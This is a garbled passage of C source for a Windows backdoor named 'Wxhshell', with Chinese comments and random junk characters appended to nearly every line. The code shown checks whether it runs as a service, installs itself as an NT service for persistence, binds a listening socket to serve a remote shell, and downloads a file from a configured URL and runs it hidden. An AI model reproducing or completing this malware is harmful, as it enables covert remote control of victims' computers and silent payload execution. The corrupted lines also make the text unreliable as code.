DWORD PebBaseAddress; ;iU%Kt
DWORD AffinityMask; JoJukoy}F
DWORD BasePriority; g1{/ 5{XI
ULONG UniqueProcessId; ?#BV+#(
ULONG InheritedFromUniqueProcessId; m5*[t7@%
} PROCESS_BASIC_INFORMATION; :Fe_,[FR
=K(JqSw+M
PROCNTQSIP NtQueryInformationProcess; fx)KNm8Lx
I\zemW!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E^wyD-ii/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '#D8*OP^
Svw<XJ
HANDLE hProcess; ((<`zx
PROCESS_BASIC_INFORMATION pbi; ()\jCNLT
~.oj.[}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rF] +,4
if(NULL == hInst ) return 0; | -+zofx
"IFgRaP=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f%XJ;y\,9H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W~ruN4q.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4h8*mMghs
bL`eiol6
if (!NtQueryInformationProcess) return 0; ? ?[g}>
1nI^-aQ3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3^wC<ZXcD
if(!hProcess) return 0; M0w/wt|
{C")#m-0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rN5tI.iC
q3h'l,
CloseHandle(hProcess); 4 1t)(+r
7-*=|gl+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V%NeZ1{ e
if(hProcess==NULL) return 0; K_ke2{4Jm
UyiJU~r1
HMODULE hMod; g"K>5Cb
char procName[255]; 0.Vi97`
unsigned long cbNeeded; a]B[`^`z
|=K_F3aJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "2{%JFE
I ~$1Lu`~
CloseHandle(hProcess); VhEka#
lH2wG2
if(strstr(procName,"services")) return 1; // 以服务启动 x({C(Q'O
obo&1Uv,/
return 0; // 注册表启动
u0
y 1
} 2@khSWV
4kl Ao$
// 主模块 X`JVR"=4
int StartWxhshell(LPSTR lpCmdLine) ?*u*de[,
{ S6D^3n
SOCKET wsl; gl7|H&&xV
BOOL val=TRUE; j0mM>X HB
int port=0; z|N3G E(.@
struct sockaddr_in door; rHz||jjU
M 2q"dz
if(wscfg.ws_autoins) Install(); BRv x[u
T
.n4TmF
port=atoi(lpCmdLine); 1^G{tlA-
ynwG\V
if(port<=0) port=wscfg.ws_port; rs;r
$
P_Hv%g
WSADATA data; ig!7BxM)<h
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )r tomp:X
0
n
vSvk
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1G^#q,%X_v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GJA`l8`SQ
door.sin_family = AF_INET; cg{AMeW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yj_4gxJ\
door.sin_port = htons(port); w_wslN,)
iG<Som
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l"+Jc1\ X
closesocket(wsl); SA"8!soY3
return 1; *d*,Hqn
} hdma=KqZ(
<q2?S
if(listen(wsl,2) == INVALID_SOCKET) { (k?7:h
closesocket(wsl); s:>\/[*>0c
return 1; L.'}e{ldW
} h2Bz F
Wxhshell(wsl); 6iA( o*'Yn
WSACleanup(); "Cz<d w]D
"TOa=Tt{,
return 0; kg97S
d+fSoSjX8
} ,,4
GNbBC
|`/TBQz:r
// 以NT服务方式启动 .qv'6G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +&=?BC}L9^
{
jN*:QI
DWORD status = 0; 4JyM7ePND}
DWORD specificError = 0xfffffff; %;"@Ah
{*m ?Kc7k
serviceStatus.dwServiceType = SERVICE_WIN32; SPkn3D6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ipE]}0q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <wd]D@l7r
serviceStatus.dwWin32ExitCode = 0; +9;2xya2
serviceStatus.dwServiceSpecificExitCode = 0; Z u*K-ep"
serviceStatus.dwCheckPoint = 0; sW@krBxMv
serviceStatus.dwWaitHint = 0; 6<76H
~NcQ1.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @.C{OSHE
if (hServiceStatusHandle==0) return; BMyzjteS+
S.*~C0"
status = GetLastError(); X6e/g{S)
if (status!=NO_ERROR) }hpmO-
{ |a^U]
serviceStatus.dwCurrentState = SERVICE_STOPPED; '@nbqM
serviceStatus.dwCheckPoint = 0; LW)H"6v
serviceStatus.dwWaitHint = 0; 9ooY?J
serviceStatus.dwWin32ExitCode = status; {Qu"%h.Al
serviceStatus.dwServiceSpecificExitCode = specificError; 2}U!:bn(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KzUlTl0
return; muON>^MbC
} <@v]H@E
R9+jW'[K
serviceStatus.dwCurrentState = SERVICE_RUNNING; V9NTs8LKc
serviceStatus.dwCheckPoint = 0; k?GD/$1t
serviceStatus.dwWaitHint = 0; 7V7zGx+Z7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?/hZb"6W
} yR5XJ;Tct
ne}+E
// 处理NT服务事件,比如:启动、停止 oXsL9,
VOID WINAPI NTServiceHandler(DWORD fdwControl) E0n6$5Uc?
{ b\7iY&.C|
switch(fdwControl) $FTO
{ m"eteA,"k_
case SERVICE_CONTROL_STOP: )RgGcHT@
serviceStatus.dwWin32ExitCode = 0; tz NlJ~E
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5&Ts7& .
serviceStatus.dwCheckPoint = 0; zmuMWT;
serviceStatus.dwWaitHint = 0; x Gk6n4Gg
{ o+B:#@9?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #]WqM1u
} !A3-0zN!
return; bPKOw<
case SERVICE_CONTROL_PAUSE: y]
oaO+
serviceStatus.dwCurrentState = SERVICE_PAUSED; Io`P,l:
break; qy1F*kY
case SERVICE_CONTROL_CONTINUE: &<TzGB*
serviceStatus.dwCurrentState = SERVICE_RUNNING; OWp%v_y]
break; B5%n(,Lx
case SERVICE_CONTROL_INTERROGATE: x\e;+ubt}
break; J5Z%ImiT^O
}; ^ <`(lyph
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jb_1LZ)]
} `O?T.p)
@&F@I3`{
// 标准应用程序主函数 {=2DqkTD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G.VuKsP]
{ f_ ^1J
m0w;8uF2UV
// 获取操作系统版本 D1
Z{W
OsIsNt=GetOsVer(); URgk^nt2p
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7R.Q
Ql
EI~"L$?
// 从命令行安装 .jw}JJ
if(strpbrk(lpCmdLine,"iI")) Install(); {]*x*aa\
rHge~nY<
// 下载执行文件 J@pb[O L,
if(wscfg.ws_downexe) { ( lm&*tKm
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sb_oD{+gW
WinExec(wscfg.ws_filenam,SW_HIDE); lT&wO